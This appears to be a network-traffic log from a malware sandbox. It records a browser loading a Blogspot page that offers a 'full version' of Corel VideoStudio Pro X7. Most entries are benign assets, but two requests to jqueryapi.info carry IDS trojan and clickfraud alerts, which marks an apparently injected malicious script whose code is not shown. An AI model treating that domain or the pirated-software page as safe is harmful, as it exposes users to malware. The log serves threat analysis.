HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Mon, 08 Oct 2018 15:41:55 GMT
Etag: 6388504E9E5E01F65010A22525B285978FE2D802
X-OCSP-Responder-ID: rmdccaocsp23
Content-Length: 471
Cache-Control: public, no-transform, must-revalidate, max-age=356344
Expires: Mon, 15 Oct 2018 15:31:13 GMT
Date: Thu, 11 Oct 2018 12:32:09 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   471
Md5:    70e116545197e7f36249f9d77891bdd9
Sha1:   6388504e9e5e01f65010a22525b285978fe2d802
Sha256: 241e7a016ce393a46f827a10d5e651a7f37aff8a702632e308445a928018f773
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Mon, 08 Oct 2018 09:27:34 GMT
Etag: 96CAB35BEB3E9D5CDA87713907CE20DD84A9A9D3
X-OCSP-Responder-ID: rmdccaocsp20
Content-Length: 727
Cache-Control: public, no-transform, must-revalidate, max-age=333884
Expires: Mon, 15 Oct 2018 09:16:53 GMT
Date: Thu, 11 Oct 2018 12:32:09 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   727
Md5:    48ec56c49763fb783e2d3e8cb7020557
Sha1:   96cab35beb3e9d5cda87713907ce20dd84a9a9d3
Sha256: 80d008301ac25c61f529df8faf1657c03f5766f77d996e455b5983158fb3dec1
                                        
                                            POST / HTTP/1.1 
Host: ocsp.usertrust.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.11
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: Apache
Last-Modified: Mon, 08 Oct 2018 09:27:34 GMT
Etag: 090C34B232998ED0CB442389A283D60A7212687C
X-OCSP-Responder-ID: rmdccaocsp21
Content-Length: 471
Cache-Control: public, no-transform, must-revalidate, max-age=333954
Expires: Mon, 15 Oct 2018 09:18:03 GMT
Date: Thu, 11 Oct 2018 12:32:09 GMT
Connection: keep-alive


--- Additional Info ---
Magic:  data
Size:   471
Md5:    918e7ad6efba9cd193ede3de6438f9b1
Sha1:   090c34b232998ed0cb442389a283d60a7212687c
Sha256: ff1641777dd048546458ac7b135f68cda235fd5d2e4dc8b9cb1c9bfa51ef30ec
                                        
                                            GET /img/icon18_wrench_allbkg.png HTTP/1.1 
Host: resources.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Accept-Ranges: bytes
Content-Length: 475
Date: Thu, 04 Oct 2018 16:25:52 GMT
Expires: Thu, 11 Oct 2018 16:25:52 GMT
Last-Modified: Thu, 04 Oct 2018 09:49:33 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 590777
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  PNG image, 18 x 18, 8-bit colormap, non-interlaced
Size:   475
Md5:    f617effe6d96c15acfea8b2e8aae551f
Sha1:   6d676af11ad2e84b620cce4d5992b657cb2d8ab6
Sha256: d172d750493be64a7ed84dec1dd2a0d787ba42f78bc694b0858f152c52b6620b
                                        
                                            GET /i.gif HTTP/1.1 
Host: t1.extreme-dm.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         18.208.5.78
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Thu, 11 Oct 2018 12:32:09 GMT
Content-Length: 1004
Last-Modified: Thu, 26 Feb 2004 13:56:07 GMT
Connection: keep-alive
Etag: "403dfaf7-3ec"
Expires: Fri, 26 Oct 2018 12:32:09 GMT
Cache-Control: max-age=1296000
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 41 x 38
Size:   1004
Md5:    08c22555ebb087abbd7e24d3d7098bef
Sha1:   5d2ec29fd987a16e641e80945532e00e0e3371a2
Sha256: 5aadfd697417ac1e5e545943d8cb8ee9e8e9ed3fa9ed9b3f65bff9fb329dac01
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.21.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 11 Oct 2018 12:32:09 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    4142d49f9b0d9718c49cf395b0279004
Sha1:   75c7084c48e2b8faeee576c2bcae06a1f35a10dd
Sha256: a14f5b3d3212a01b28c23e48ab5f7246852fe3c214103fab490954bbaae6aa68
                                        
                                            GET /font-awesome/4.4.0/css/font-awesome.min.css HTTP/1.1 
Host: maxcdn.bootstrapcdn.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         209.197.3.15
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Date: Thu, 11 Oct 2018 12:32:09 GMT
Connection: Keep-Alive
Accept-Ranges: bytes
Etag: "1518903977"
Cache-Control: max-age=31536000
Content-Encoding: gzip
Content-Length: 6079
Last-Modified: Sat, 17 Feb 2018 21:46:17 GMT
X-Hello-Human: Say hello back! @getBootstrapCDN on Twitter
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
X-Cache: HIT


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   6079
Md5:    89efe0bccd83b660e99706ac6e1609de
Sha1:   8a17015ee20ab39eaf37fe7f91ca5310fbbbe4d2
Sha256: 27365a99f155451c8c8bab0c09f74db961fbdc3bbfac476059c81a59abfa3c07
                                        
                                            GET /js/plusone.js HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
x-ua-compatible: IE=edge, chrome=1
Timing-Allow-Origin: *
Etag: "a4ce5a6c2864f2817674284bc9f2f1c1"
Expires: Thu, 11 Oct 2018 12:32:09 GMT
Date: Thu, 11 Oct 2018 12:32:09 GMT
Cache-Control: private, max-age=1800, stale-while-revalidate=1800
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Strict-Transport-Security: max-age=31536000
Content-Encoding: gzip
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Set-Cookie: NID=141=NkZ0LuPQq_p_jLMzN-4VnzAuKuHsg37MN9aYRH1aaLcYu32nJoIXcYPaX66Qv90n8YDvMCWmfbzsucSdJOjLcPCViAQQC6IPab_kfGJO-VeE9k6-8iHd7fIHiXLVBF7p;Domain=.google.com;Path=/;Expires=Fri, 12-Apr-2019 12:32:09 GMT;HttpOnly
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   16816
Md5:    21c9337b0bdb2f9955cf6f061c30ff4b
Sha1:   f1ff4a5b97a8b98cd4d57e9738b4ac9a5ad44b3e
Sha256: db36d578c63e9474077dd23d09ab32edad04442c99a1fa2b8c8c9524c164ff8d
                                        
                                            GET /?getsrc=ok&ref=&url=http%3A%2F%2Fabduhshare.blogspot.com%2F2014%2F04%2Fcorel-video-studio-pro-x7-full-version.html HTTP/1.1 
Host: jqueryapi.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         104.200.22.130
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty/1.13.6.1
Date: Thu, 11 Oct 2018 12:32:09 GMT
Content-Length: 157
Last-Modified: Fri, 09 Mar 2018 21:41:07 GMT
Connection: close
Etag: "5aa2ff73-9d"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  ASCII text
Size:   157
Md5:    67e216a27dda24bdcb086c2385b0cb99
Sha1:   17141c80f5d32bec3691c5ab24741d8b7dd5f0c6
Sha256: 9dc433b2142d3ba0803fcffa53f19d34da26996d20c829df6d694bc887325dd7

Alerts:
  IDS:
    - ETPRO TROJAN Malicious Obfuscator Clickfraud Activity
                                        
                                            GET /services/mblv/mblv.php?s=c8441a43a7fc7c951084b0995d2a1211414a1e7aa67bf8 HTTP/1.1 
Host: www.mypagerank.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         104.27.160.200
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Date: Thu, 11 Oct 2018 12:32:09 GMT
Content-Length: 708
Connection: keep-alive
Set-Cookie: __cfduid=d411f6e942f60f986b7c8e8ab6617c20c1539261129; expires=Fri, 11-Oct-19 12:32:09 GMT; path=/; domain=.mypagerank.net; HttpOnly
Pragma: public
Expires: Mon, 26 Jul 2018 05:00:00 GMT
Server: cloudflare
CF-RAY: 4681590be308429d-OSL


--- Additional Info ---
Magic:  GIF image data, version 87a, 90 x 15
Size:   708
Md5:    4295ee5383c32eec2370bc266beff3ed
Sha1:   071caa01aa92ef9803a3c38a0cf3652d707b3ae4
Sha256: a24c4aef1bc8b67aa8291d1fc81ac78775531a6895f614f4aa4edc79a89502d0
                                        
                                            GET /services/seomonitor/seomonitor.php?aut=126087 HTTP/1.1 
Host: www.mypagerank.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         104.27.160.200
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Date: Thu, 11 Oct 2018 12:32:09 GMT
Content-Length: 214
Connection: keep-alive
Set-Cookie: __cfduid=d411f6e942f60f986b7c8e8ab6617c20c1539261129; expires=Fri, 11-Oct-19 12:32:09 GMT; path=/; domain=.mypagerank.net; HttpOnly
Pragma: public
Expires: Mon, 26 Jul 2013 05:00:00 GMT
Cache-Control: max-age=604800
Server: cloudflare
CF-RAY: 4681590be309429d-OSL


--- Additional Info ---
Magic:  GIF image data, version 87a, 76 x 13
Size:   214
Md5:    48f221c847d54770493dab4cb765bcf1
Sha1:   a1a4d87d6b612cd3c3ca62071b56f8b30057dd3b
Sha256: f220050f444b4eee2b6829dc91574575c7ab896893d68b0b6e3ff4dc43b17153
                                        
                                            GET /-J5hWJOW2H-Q/VYO-lUvC6fI/AAAAAAAABeA/vzqM53KRo-M/s1600/lonceng-1.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v5e1"
Expires: Thu, 27 Sep 2018 15:55:43 GMT
Content-Disposition: inline;filename="lonceng-1.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 415
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  PNG image, 31 x 30, 8-bit/color RGB, non-interlaced
Size:   415
Md5:    7cb58ed85b9c2a9176673c007e9b96a4
Sha1:   705bbfbc85b700fd9ae077ad048d3f17a09f0859
Sha256: 433939254f3044214a62a5a4a5a3631fcec258ca7b102a82bb5fba57ceb17c48
                                        
                                            GET /-FYy1a99SDXE/VXuCSz_hYjI/AAAAAAAACbg/8dz4LkDIHYY/s1600/share.png HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v9b9"
Expires: Tue, 09 Oct 2018 18:12:48 GMT
Content-Disposition: inline;filename="share.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 11:11:32 GMT
Server: fife
Content-Length: 6485
X-XSS-Protection: 1; mode=block
Age: 4838
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 42 x 215, 8-bit/color RGBA, non-interlaced
Size:   6485
Md5:    cec253475401f4f33d472c8a538ae16d
Sha1:   4996fc455596a42fe466df5931490ea9443a93eb
Sha256: e6ae4e6751e18f746dd724021763c974b8ab038a2316ff78117ae81fd0fd6812
                                        
                                            GET /s/ruda/v9/k3kfo8YQJOpFqngdbg.woff HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fonts.googleapis.com/css?family=Ruda
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.21.163
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 12480
Date: Wed, 10 Oct 2018 05:40:09 GMT
Expires: Thu, 10 Oct 2019 05:40:09 GMT
Last-Modified: Tue, 10 Oct 2017 23:10:20 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 111121


--- Additional Info ---
Magic:  data
Size:   12480
Md5:    d44a95ae24d52d5aaf573d9747f221c1
Sha1:   ca052736cb6418fa127c6f4d388a8e369a80a018
Sha256: 13f101c7ee26f3bc67355a897aab7aacb5827bd9a2bbb7c024b3b519c9755bc8
                                        
                                            GET /?getsrc=ok&ref=&url=http%3A%2F%2Fabduhshare.blogspot.com%2F2014%2F04%2Fcorel-video-studio-pro-x7-full-version.html HTTP/1.1 
Host: jqueryapi.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
If-Modified-Since: Fri, 09 Mar 2018 21:41:07 GMT
If-None-Match: "5aa2ff73-9d"

                                         
                                         104.200.22.130
HTTP/1.1 304 Not Modified
                                        
Server: openresty/1.13.6.1
Date: Thu, 11 Oct 2018 12:32:10 GMT
Last-Modified: Fri, 09 Mar 2018 21:41:07 GMT
Connection: close
Etag: "5aa2ff73-9d"


--- Additional Info ---

Alerts:
  IDS:
    - ETPRO TROJAN Malicious Obfuscator Clickfraud Activity
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.21.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 11 Oct 2018 12:32:10 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    13fc20bc66f236d5ffa9513feea20826
Sha1:   034c2d80031639861d61547de7d5d41f124f7c18
Sha256: 78ca24c6594b62af8be666105895497dc8042393683d69a952c71232d1a95ffc
                                        
                                            GET /-iSx56Yp8o28/U76sWfze3DI/AAAAAAAAAZk/vAMnDn3dm0E/user.jpg HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v19a"
Expires: Fri, 28 Sep 2018 14:39:44 GMT
Content-Disposition: inline;filename="user.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 11:32:21 GMT
Server: fife
Content-Length: 4150
X-XSS-Protection: 1; mode=block
Age: 3590
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   4150
Md5:    c945ca73e2f7eccf97e5e1d9c7f667b1
Sha1:   d964d7db25de8d30fd1e38e099a2efa2b6831e36
Sha256: f6a08fc8bf919db4858b0c9ea4129656eed21dbcc4db3c37332bac6962705072
                                        
                                            GET /s/archivonarrow/v8/tss0ApVBdCYD5Q7hcxTE1ArZ0bbwiXo.woff HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fonts.googleapis.com/css?family=Archivo+Narrow:400,700
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.21.163
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 20416
Date: Thu, 27 Sep 2018 19:22:15 GMT
Expires: Fri, 27 Sep 2019 19:22:15 GMT
Last-Modified: Tue, 10 Oct 2017 20:48:20 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1184996


--- Additional Info ---
Magic:  data
Size:   20416
Md5:    b6e1a8526b27aa0bbf682c805a3c4c6c
Sha1:   14e25f3b15f91bf3ecc5ee29c5db6aa89dab4e43
Sha256: afaab3e84d3076b4fb616e5b0f69e90eeb4aea77f7be53e71b5a956e441d7146
                                        
                                            GET /feeds/posts/summary/-/Software?alt=json-in-script&orderby=updated&max-results=0&callback=randomRelatedIndex HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Etag: W/"b3188269390c7d35fe01e0364d5b98a39d296f1b3cb2745b41306494332226a7"
Date: Thu, 11 Oct 2018 12:32:11 GMT
Server: blogger-renderd
Expires: Thu, 11 Oct 2018 12:32:12 GMT
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Content-Encoding: gzip
Content-Length: 1019
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   1019
Md5:    5bcb1ac4e784e94de106af07362c143b
Sha1:   447b69f35862f2400898b1311b9f3b35e6eaf38b
Sha256: 045208ce2d75bb8aa04925cef1b860e72cfe6617d43a7ed0947e3a6691a0c0a8
                                        
                                            GET /static/fonts/roboto/v10/2UX7WLTfW3W8TclTUvlFyQ.woff HTTP/1.1 
Host: themes.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 21132
Date: Thu, 20 Sep 2018 11:33:38 GMT
Expires: Fri, 20 Sep 2019 11:33:38 GMT
Last-Modified: Thu, 21 Apr 2016 03:17:22 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1817913
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  data
Size:   21132
Md5:    e5d1ccfbe43c8138e553093300603815
Sha1:   87deb174af2e2beebb9f09d618a5159ca299a3d0
Sha256: 00ceca786c807c91b19ff7b38bdccbe7f2a5404efbd910831122750c5d88b713
                                        
                                            GET /static/fonts/oswald/v8/-g5pDUSRgvxvOl5u-a_WHw.woff HTTP/1.1 
Host: themes.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 21520
Date: Thu, 27 Sep 2018 18:57:43 GMT
Expires: Fri, 27 Sep 2019 18:57:43 GMT
Last-Modified: Thu, 21 Apr 2016 03:17:22 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1186468
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  data
Size:   21520
Md5:    b2181049bee439ab4f6b8678c8812e38
Sha1:   b20b90ecd6fc597f161d2228f5779e76e090edf9
Sha256: a057e0c74a6ffa4a289512d05beb6998e6be8b91be2d056568ebf0c317c11a6c
                                        
                                            GET /static/fonts/roboto/v10/d-6IYplOFocCacKzxwXSOD8E0i7KZn-EPnyo3HZu7kw.woff HTTP/1.1 
Host: themes.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Origin: http://abduhshare.blogspot.com

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 19812
Date: Fri, 21 Sep 2018 02:13:11 GMT
Expires: Sat, 21 Sep 2019 02:13:11 GMT
Last-Modified: Thu, 21 Apr 2016 03:17:22 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1765140
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  data
Size:   19812
Md5:    c74ddf8e339408e3d7d8082b7e1f5125
